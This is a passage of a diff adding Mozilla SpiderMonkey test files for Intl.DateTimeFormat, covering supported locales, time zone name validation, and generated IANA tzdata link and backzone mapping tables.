+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+var count = Intl.DateTimeFormat.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.DateTimeFormat");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone.js
new file mode 100644
index 0000000000..eca6ed27ee
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone.js
@@ -0,0 +1,139 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+
+const utcTimeZones = [
+ // Etc/UTC and Etc/GMT are normalized to UTC.
+ "Etc/UTC", "Etc/GMT",
+
+ // Links to Etc/GMT. (tzdata/etcetera)
+ "GMT", "Etc/Greenwich", "Etc/GMT-0", "Etc/GMT+0", "Etc/GMT0",
+
+ // Links to Etc/UTC. (tzdata/etcetera)
+ "Etc/Universal", "Etc/Zulu",
+
+ // Links to Etc/GMT. (tzdata/backward)
+ "GMT+0", "GMT-0", "GMT0", "Greenwich",
+
+ // Links to Etc/UTC. (tzdata/backward)
+ "UTC", "Universal", "Zulu", "Etc/UCT", "UCT",
+];
+
+for (let timeZone of utcTimeZones) {
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ assertEq(dtf.resolvedOptions().timeZone, "UTC");
+ }
+}
+
+
+const invalidTimeZones = [
+ "", "null", "undefined", "UTC\0",
+
+ // ICU time zone name for invalid time zones.
+ "Etc/Unknown",
+
+ // ICU custom time zones.
+ "GMT-1", "GMT+1", "GMT-10", "GMT+10",
+ "GMT-10:00", "GMT+10:00",
+ "GMT-1000", "GMT+1000",
+
+ // Legacy ICU time zones.
+ "ACT", "AET", "AGT", "ART", "AST", "BET", "BST", "CAT", "CNT", "CST",
+ "CTT", "EAT", "ECT", "IET", "IST", "JST", "MIT", "NET", "NST", "PLT",
+ "PNT", "PRT", "PST", "SST", "VST",
+
+ // Deprecated IANA time zones.
+ "SystemV/AST4ADT", "SystemV/EST5EDT", "SystemV/CST6CDT", "SystemV/MST7MDT",
+ "SystemV/PST8PDT", "SystemV/YST9YDT", "SystemV/AST4", "SystemV/EST5",
+ "SystemV/CST6", "SystemV/MST7", "SystemV/PST8", "SystemV/YST9", "SystemV/HST10",
+];
+
+for (let timeZone of invalidTimeZones) {
+ for (let map of tzMapper) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ }, RangeError);
+ }
+}
+
+
+// GMT[+-]hh is invalid, but Etc/GMT[+-]hh is a valid IANA time zone.
+for (let gmtOffset = -14; gmtOffset <= 12; ++gmtOffset) {
+ // Skip Etc/GMT0.
+ if (gmtOffset === 0)
+ continue;
+
+ let timeZone = `Etc/GMT${gmtOffset > 0 ? "+" : ""}${gmtOffset}`;
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+ }
+}
+
+
+const invalidEtcGMTNames = [
+ // Out of bounds GMT offset.
+ "Etc/GMT-15", "Etc/GMT+13",
+
+ // Etc/GMT[+-]hh:mm isn't a IANA time zone name.
+ "Etc/GMT-10:00", "Etc/GMT+10:00",
+ "Etc/GMT-1000", "Etc/GMT+1000",
+];
+
+for (let timeZone of invalidEtcGMTNames) {
+ for (let map of tzMapper) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ }, RangeError);
+ }
+}
+
+
+// RangeError is thrown for primitive values, because ToString(<primitive>)
+// isn't a valid time zone name.
+for (let nonStrings of [null, 0, 0.5, true, false]) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: nonStrings});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let {timeZone: tzAbsent} = new Intl.DateTimeFormat(undefined, {}).resolvedOptions();
+ let {timeZone: tzUndefined} = new Intl.DateTimeFormat(undefined, {timeZone: undefined}).resolvedOptions();
+
+ assertEq(typeof tzAbsent, "string");
+ assertEq(typeof tzUndefined, "string");
+ assertEq(tzUndefined, tzAbsent);
+
+ // The default time zone isn't a link name.
+ let {timeZone: tzDefault} = new Intl.DateTimeFormat(undefined, {timeZone: tzAbsent}).resolvedOptions();
+ assertEq(tzDefault, tzAbsent);
+}
+
+// Objects are converted through ToString().
+{
+ let timeZone = "Europe/Warsaw";
+ let obj = {
+ toString() {
+ return timeZone;
+ }
+ };
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: obj});
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backward_links.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backward_links.js
new file mode 100644
index 0000000000..234616bfd9
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backward_links.js
@@ -0,0 +1,156 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2023c
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// Link names derived from IANA Time Zone Database, backward file.
+const links = {
+ "Africa/Asmera": "Africa/Asmara",
+ "America/Atka": "America/Adak",
+ "America/Buenos_Aires": "America/Argentina/Buenos_Aires",
+ "America/Catamarca": "America/Argentina/Catamarca",
+ "America/Cordoba": "America/Argentina/Cordoba",
+ "America/Fort_Wayne": "America/Indiana/Indianapolis",
+ "America/Godthab": "America/Nuuk",
+ "America/Indianapolis": "America/Indiana/Indianapolis",
+ "America/Jujuy": "America/Argentina/Jujuy",
+ "America/Knox_IN": "America/Indiana/Knox",
+ "America/Kralendijk": "America/Curacao",
+ "America/Louisville": "America/Kentucky/Louisville",
+ "America/Lower_Princes": "America/Curacao",
+ "America/Marigot": "America/Port_of_Spain",
+ "America/Mendoza": "America/Argentina/Mendoza",
+ "America/Porto_Acre": "America/Rio_Branco",
+ "America/Santa_Isabel": "America/Tijuana",
+ "America/Shiprock": "America/Denver",
+ "America/St_Barthelemy": "America/Port_of_Spain",
+ "America/Virgin": "America/St_Thomas",
+ "Antarctica/South_Pole": "Antarctica/McMurdo",
+ "Arctic/Longyearbyen": "Europe/Oslo",
+ "Asia/Ashkhabad": "Asia/Ashgabat",
+ "Asia/Calcutta": "Asia/Kolkata",
+ "Asia/Chungking": "Asia/Chongqing",
+ "Asia/Dacca": "Asia/Dhaka",
+ "Asia/Istanbul": "Europe/Istanbul",
+ "Asia/Katmandu": "Asia/Kathmandu",
+ "Asia/Macao": "Asia/Macau",
+ "Asia/Rangoon": "Asia/Yangon",
+ "Asia/Saigon": "Asia/Ho_Chi_Minh",
+ "Asia/Thimbu": "Asia/Thimphu",
+ "Asia/Ujung_Pandang": "Asia/Makassar",
+ "Asia/Ulan_Bator": "Asia/Ulaanbaatar",
+ "Atlantic/Faeroe": "Atlantic/Faroe",
+ "Australia/ACT": "Australia/Sydney",
+ "Australia/Canberra": "Australia/Sydney",
+ "Australia/LHI": "Australia/Lord_Howe",
+ "Australia/NSW": "Australia/Sydney",
+ "Australia/North": "Australia/Darwin",
+ "Australia/Queensland": "Australia/Brisbane",
+ "Australia/South": "Australia/Adelaide",
+ "Australia/Tasmania": "Australia/Hobart",
+ "Australia/Victoria": "Australia/Melbourne",
+ "Australia/West": "Australia/Perth",
+ "Australia/Yancowinna": "Australia/Broken_Hill",
+ "Brazil/Acre": "America/Rio_Branco",
+ "Brazil/DeNoronha": "America/Noronha",
+ "Brazil/East": "America/Sao_Paulo",
+ "Brazil/West": "America/Manaus",
+ "Canada/Atlantic": "America/Halifax",
+ "Canada/Central": "America/Winnipeg",
+ "Canada/Eastern": "America/Toronto",
+ "Canada/Mountain": "America/Edmonton",
+ "Canada/Newfoundland": "America/St_Johns",
+ "Canada/Pacific": "America/Vancouver",
+ "Canada/Saskatchewan": "America/Regina",
+ "Canada/Yukon": "America/Whitehorse",
+ "Chile/Continental": "America/Santiago",
+ "Chile/EasterIsland": "Pacific/Easter",
+ "Cuba": "America/Havana",
+ "Egypt": "Africa/Cairo",
+ "Eire": "Europe/Dublin",
+ "Etc/GMT+0": "Etc/GMT",
+ "Etc/GMT-0": "Etc/GMT",
+ "Etc/GMT0": "Etc/GMT",
+ "Etc/Greenwich": "Etc/GMT",
+ "Etc/UCT": "Etc/UTC",
+ "Etc/Universal": "Etc/UTC",
+ "Etc/Zulu": "Etc/UTC",
+ "Europe/Bratislava": "Europe/Prague",
+ "Europe/Busingen": "Europe/Zurich",
+ "Europe/Kiev": "Europe/Kyiv",
+ "Europe/Mariehamn": "Europe/Helsinki",
+ "Europe/Nicosia": "Asia/Nicosia",
+ "Europe/Podgorica": "Europe/Belgrade",
+ "Europe/San_Marino": "Europe/Rome",
+ "Europe/Vatican": "Europe/Rome",
+ "GB": "Europe/London",
+ "GB-Eire": "Europe/London",
+ "GMT+0": "Etc/GMT",
+ "GMT-0": "Etc/GMT",
+ "GMT0": "Etc/GMT",
+ "Greenwich": "Etc/GMT",
+ "Hongkong": "Asia/Hong_Kong",
+ "Iceland": "Atlantic/Reykjavik",
+ "Iran": "Asia/Tehran",
+ "Israel": "Asia/Jerusalem",
+ "Jamaica": "America/Jamaica",
+ "Japan": "Asia/Tokyo",
+ "Kwajalein": "Pacific/Kwajalein",
+ "Libya": "Africa/Tripoli",
+ "Mexico/BajaNorte": "America/Tijuana",
+ "Mexico/BajaSur": "America/Mazatlan",
+ "Mexico/General": "America/Mexico_City",
+ "NZ": "Pacific/Auckland",
+ "NZ-CHAT": "Pacific/Chatham",
+ "Navajo": "America/Denver",
+ "PRC": "Asia/Shanghai",
+ "Pacific/Ponape": "Pacific/Pohnpei",
+ "Pacific/Samoa": "Pacific/Pago_Pago",
+ "Pacific/Truk": "Pacific/Chuuk",
+ "Pacific/Yap": "Pacific/Chuuk",
+ "Poland": "Europe/Warsaw",
+ "Portugal": "Europe/Lisbon",
+ "ROC": "Asia/Taipei",
+ "ROK": "Asia/Seoul",
+ "Singapore": "Asia/Singapore",
+ "Turkey": "Europe/Istanbul",
+ "UCT": "Etc/UTC",
+ "US/Alaska": "America/Anchorage",
+ "US/Aleutian": "America/Adak",
+ "US/Arizona": "America/Phoenix",
+ "US/Central": "America/Chicago",
+ "US/East-Indiana": "America/Indiana/Indianapolis",
+ "US/Eastern": "America/New_York",
+ "US/Hawaii": "Pacific/Honolulu",
+ "US/Indiana-Starke": "America/Indiana/Knox",
+ "US/Michigan": "America/Detroit",
+ "US/Mountain": "America/Denver",
+ "US/Pacific": "America/Los_Angeles",
+ "US/Samoa": "Pacific/Pago_Pago",
+ "UTC": "Etc/UTC",
+ "Universal": "Etc/UTC",
+ "W-SU": "Europe/Moscow",
+ "Zulu": "Etc/UTC",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone.js
new file mode 100644
index 0000000000..0c5882deca
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone.js
@@ -0,0 +1,153 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2023c
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// This file was generated with historical, pre-1970 backzone information
+// respected. Therefore, every zone key listed below is its own Zone, not
+// a Link to a modern-day target as IANA ignoring backzones would say.
+
+// Backzone zones derived from IANA Time Zone Database.
+const links = {
+ "Africa/Accra": "Africa/Accra",
+ "Africa/Addis_Ababa": "Africa/Addis_Ababa",
+ "Africa/Asmara": "Africa/Asmara",
+ "Africa/Bamako": "Africa/Bamako",
+ "Africa/Bangui": "Africa/Bangui",
+ "Africa/Banjul": "Africa/Banjul",
+ "Africa/Blantyre": "Africa/Blantyre",
+ "Africa/Brazzaville": "Africa/Brazzaville",
+ "Africa/Bujumbura": "Africa/Bujumbura",
+ "Africa/Conakry": "Africa/Conakry",
+ "Africa/Dakar": "Africa/Dakar",
+ "Africa/Dar_es_Salaam": "Africa/Dar_es_Salaam",
+ "Africa/Djibouti": "Africa/Djibouti",
+ "Africa/Douala": "Africa/Douala",
+ "Africa/Freetown": "Africa/Freetown",
+ "Africa/Gaborone": "Africa/Gaborone",
+ "Africa/Harare": "Africa/Harare",
+ "Africa/Kampala": "Africa/Kampala",
+ "Africa/Kigali": "Africa/Kigali",
+ "Africa/Kinshasa": "Africa/Kinshasa",
+ "Africa/Libreville": "Africa/Libreville",
+ "Africa/Lome": "Africa/Lome",
+ "Africa/Luanda": "Africa/Luanda",
+ "Africa/Lubumbashi": "Africa/Lubumbashi",
+ "Africa/Lusaka": "Africa/Lusaka",
+ "Africa/Malabo": "Africa/Malabo",
+ "Africa/Maseru": "Africa/Maseru",
+ "Africa/Mbabane": "Africa/Mbabane",
+ "Africa/Mogadishu": "Africa/Mogadishu",
+ "Africa/Niamey": "Africa/Niamey",
+ "Africa/Nouakchott": "Africa/Nouakchott",
+ "Africa/Ouagadougou": "Africa/Ouagadougou",
+ "Africa/Porto-Novo": "Africa/Porto-Novo",
+ "Africa/Timbuktu": "Africa/Timbuktu",
+ "America/Anguilla": "America/Anguilla",
+ "America/Antigua": "America/Antigua",
+ "America/Argentina/ComodRivadavia": "America/Argentina/ComodRivadavia",
+ "America/Aruba": "America/Aruba",
+ "America/Atikokan": "America/Atikokan",
+ "America/Blanc-Sablon": "America/Blanc-Sablon",
+ "America/Cayman": "America/Cayman",
+ "America/Coral_Harbour": "America/Coral_Harbour",
+ "America/Creston": "America/Creston",
+ "America/Curacao": "America/Curacao",
+ "America/Dominica": "America/Dominica",
+ "America/Ensenada": "America/Ensenada",
+ "America/Grenada": "America/Grenada",
+ "America/Guadeloupe": "America/Guadeloupe",
+ "America/Montreal": "America/Montreal",
+ "America/Montserrat": "America/Montserrat",
+ "America/Nassau": "America/Nassau",
+ "America/Nipigon": "America/Nipigon",
+ "America/Pangnirtung": "America/Pangnirtung",
+ "America/Port_of_Spain": "America/Port_of_Spain",
+ "America/Rainy_River": "America/Rainy_River",
+ "America/Rosario": "America/Rosario",
+ "America/St_Kitts": "America/St_Kitts",
+ "America/St_Lucia": "America/St_Lucia",
+ "America/St_Thomas": "America/St_Thomas",
+ "America/St_Vincent": "America/St_Vincent",
+ "America/Thunder_Bay": "America/Thunder_Bay",
+ "America/Tortola": "America/Tortola",
+ "America/Yellowknife": "America/Yellowknife",
+ "Antarctica/DumontDUrville": "Antarctica/DumontDUrville",
+ "Antarctica/McMurdo": "Antarctica/McMurdo",
+ "Antarctica/Syowa": "Antarctica/Syowa",
+ "Antarctica/Vostok": "Antarctica/Vostok",
+ "Asia/Aden": "Asia/Aden",
+ "Asia/Bahrain": "Asia/Bahrain",
+ "Asia/Brunei": "Asia/Brunei",
+ "Asia/Chongqing": "Asia/Chongqing",
+ "Asia/Harbin": "Asia/Harbin",
+ "Asia/Kashgar": "Asia/Kashgar",
+ "Asia/Kuala_Lumpur": "Asia/Kuala_Lumpur",
+ "Asia/Kuwait": "Asia/Kuwait",
+ "Asia/Muscat": "Asia/Muscat",
+ "Asia/Phnom_Penh": "Asia/Phnom_Penh",
+ "Asia/Tel_Aviv": "Asia/Tel_Aviv",
+ "Asia/Vientiane": "Asia/Vientiane",
+ "Atlantic/Jan_Mayen": "Atlantic/Jan_Mayen",
+ "Atlantic/Reykjavik": "Atlantic/Reykjavik",
+ "Atlantic/St_Helena": "Atlantic/St_Helena",
+ "Australia/Currie": "Australia/Currie",
+ "Europe/Amsterdam": "Europe/Amsterdam",
+ "Europe/Belfast": "Europe/Belfast",
+ "Europe/Copenhagen": "Europe/Copenhagen",
+ "Europe/Guernsey": "Europe/Guernsey",
+ "Europe/Isle_of_Man": "Europe/Isle_of_Man",
+ "Europe/Jersey": "Europe/Jersey",
+ "Europe/Ljubljana": "Europe/Ljubljana",
+ "Europe/Luxembourg": "Europe/Luxembourg",
+ "Europe/Monaco": "Europe/Monaco",
+ "Europe/Oslo": "Europe/Oslo",
+ "Europe/Sarajevo": "Europe/Sarajevo",
+ "Europe/Skopje": "Europe/Skopje",
+ "Europe/Stockholm": "Europe/Stockholm",
+ "Europe/Tiraspol": "Europe/Tiraspol",
+ "Europe/Uzhgorod": "Europe/Uzhgorod",
+ "Europe/Vaduz": "Europe/Vaduz",
+ "Europe/Zagreb": "Europe/Zagreb",
+ "Europe/Zaporozhye": "Europe/Zaporozhye",
+ "Indian/Antananarivo": "Indian/Antananarivo",
+ "Indian/Christmas": "Indian/Christmas",
+ "Indian/Cocos": "Indian/Cocos",
+ "Indian/Comoro": "Indian/Comoro",
+ "Indian/Kerguelen": "Indian/Kerguelen",
+ "Indian/Mahe": "Indian/Mahe",
+ "Indian/Mayotte": "Indian/Mayotte",
+ "Indian/Reunion": "Indian/Reunion",
+ "Pacific/Chuuk": "Pacific/Chuuk",
+ "Pacific/Enderbury": "Pacific/Enderbury",
+ "Pacific/Funafuti": "Pacific/Funafuti",
+ "Pacific/Johnston": "Pacific/Johnston",
+ "Pacific/Majuro": "Pacific/Majuro",
+ "Pacific/Midway": "Pacific/Midway",
+ "Pacific/Pohnpei": "Pacific/Pohnpei",
+ "Pacific/Saipan": "Pacific/Saipan",
+ "Pacific/Wake": "Pacific/Wake",
+ "Pacific/Wallis": "Pacific/Wallis",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone_links.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone_links.js
new file mode 100644
index 0000000000..15806dd42c
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone_links.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2023c
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// This file was generated with historical, pre-1970 backzone information
+// respected. Therefore, every zone key listed below points to a target
+// in the backzone file and not to its modern-day target as IANA ignoring
+// backzones would say.
+
+// Backzone links derived from IANA Time Zone Database.
+const links = {
+ "Africa/Asmera": "Africa/Asmara",
+ "America/Kralendijk": "America/Curacao",
+ "America/Lower_Princes": "America/Curacao",
+ "America/Marigot": "America/Port_of_Spain",
+ "America/St_Barthelemy": "America/Port_of_Spain",
+ "America/Virgin": "America/St_Thomas",
+ "Antarctica/South_Pole": "Antarctica/McMurdo",
+ "Arctic/Longyearbyen": "Europe/Oslo",
+ "Asia/Chungking": "Asia/Chongqing",
+ "Iceland": "Atlantic/Reykjavik",
+ "Pacific/Ponape": "Pacific/Pohnpei",
+ "Pacific/Truk": "Pacific/Chuuk",
+ "Pacific/Yap": "Pacific/Chuuk",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_notbackward_links.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_notbackward_links.js
new file mode 100644
index 0000000000..7dbd456c2e
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_notbackward_links.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2023c
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// Link names derived from IANA Time Zone Database, excluding backward file.
+const links = {
+ "GMT": "Etc/GMT",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_version.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_version.js
new file mode 100644
index 0000000000..15c7553dd8
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_version.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2023c
+const tzdata = "2023c";
+
+if (typeof getICUOptions === "undefined") {
+ var getICUOptions = SpecialPowers.Cu.getJSTestingFunctions().getICUOptions;
+}
+
+var options = getICUOptions();
+
+assertEq(options.tzdata, tzdata);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/toStringTag.js b/js/src/tests/non262/Intl/DateTimeFormat/toStringTag.js
new file mode 100644
index 0000000000..136632f71f
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/toStringTag.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, Symbol.toStringTag);
+
+assertEq(desc !== undefined, true);
+assertEq(desc.value, "Intl.DateTimeFormat");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(Object.prototype.toString.call(Intl.DateTimeFormat.prototype), "[object Intl.DateTimeFormat]");
+assertEq(Object.prototype.toString.call(new Intl.DateTimeFormat), "[object Intl.DateTimeFormat]");
+
+Object.defineProperty(Intl.DateTimeFormat.prototype, Symbol.toStringTag, {value: "DateTimeFormat"});
+
+assertEq(Object.prototype.toString.call(Intl.DateTimeFormat.prototype), "[object DateTimeFormat]");
+assertEq(Object.prototype.toString.call(new Intl.DateTimeFormat), "[object DateTimeFormat]");
+
+delete Intl.DateTimeFormat.prototype[Symbol.toStringTag];
+
+assertEq(Object.prototype.toString.call(Intl.DateTimeFormat.prototype), "[object Object]");
+assertEq(Object.prototype.toString.call(new Intl.DateTimeFormat), "[object Object]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/tz-environment-variable.js b/js/src/tests/non262/Intl/DateTimeFormat/tz-environment-variable.js
new file mode 100644
index 0000000000..6128abb9d1
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/tz-environment-variable.js
@@ -0,0 +1,67 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||(xulRuntime.OS=="WINNT"&&!xulRuntime.shell)) -- Windows browser in automation doesn't pick up new time zones correctly
+
+// From bug 1330149:
+//
+// Windows only supports a very limited set of IANA time zone names for the TZ
+// environment variable.
+//
+// TZ format supported by Windows: "TZ=tzn[+|-]hh[:mm[:ss]][dzn]".
+//
+// Complete list of all IANA time zone ids matching that format.
+//
+// From tzdata's "northamerica" file:
+// EST5EDT
+// CST6CDT
+// MST7MDT
+// PST8PDT
+//
+// From tzdata's "backward" file:
+// GMT+0
+// GMT-0
+// GMT0
+//
+// Also supported on Windows even though they don't match the format listed
+// above.
+//
+// From tzdata's "backward" file:
+// UCT
+// UTC
+//
+// From tzdata's "etcetera" file:
+// GMT
+
+function inTimeZone(tzname, fn) {
+ setTimeZone(tzname);
+ try {
+ fn();
+ } finally {
+ setTimeZone("PST8PDT");
+ }
+}
+
+const timeZones = [
+ { id: "EST5EDT" },
+ { id: "CST6CDT" },
+ { id: "MST7MDT" },
+ { id: "PST8PDT" },
+ // ICU on non-Windows platforms doesn't accept these three time zone
+ // identifiers, cf. isValidOlsonID in $ICU/source/common/putil.cpp. We
+ // could add support for them, but it seems unlikely they're used in
+ // practice, so we just skip over them.
+ // { id: "GMT+0", normalized: "UTC" },
+ // { id: "GMT-0", normalized: "UTC" },
+ // { id: "GMT0", normalized: "UTC" },
+ { id: "UCT", normalized: "UTC" },
+ { id: "UTC", normalized: "UTC" },
+ { id: "GMT", normalized: "UTC" },
+];
+
+for (let {id, normalized = id} of timeZones) {
+ inTimeZone(id, () => {
+ let opts = new Intl.DateTimeFormat().resolvedOptions();
+ assertEq(opts.timeZone, normalized);
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/unwrapping.js b/js/src/tests/non262/Intl/DateTimeFormat/unwrapping.js
new file mode 100644
index 0000000000..d2fc991cb4
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/unwrapping.js
@@ -0,0 +1,248 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test UnwrapDateTimeFormat operation.
+
+const dateTimeFormatFunctions = [];
+dateTimeFormatFunctions.push({
+ function: Intl.DateTimeFormat.prototype.resolvedOptions,
+ unwrap: true,
+});
+dateTimeFormatFunctions.push({
+ function: Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, "format").get,
+ unwrap: true,
+});
+dateTimeFormatFunctions.push({
+ function: Intl.DateTimeFormat.prototype.formatToParts,
+ unwrap: false,
+});
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function IsPrimitive(o) {
+ return Object(o) !== o;
+}
+
+function intlObjects(ctor) {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+}
+
+function thisValues(C) {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
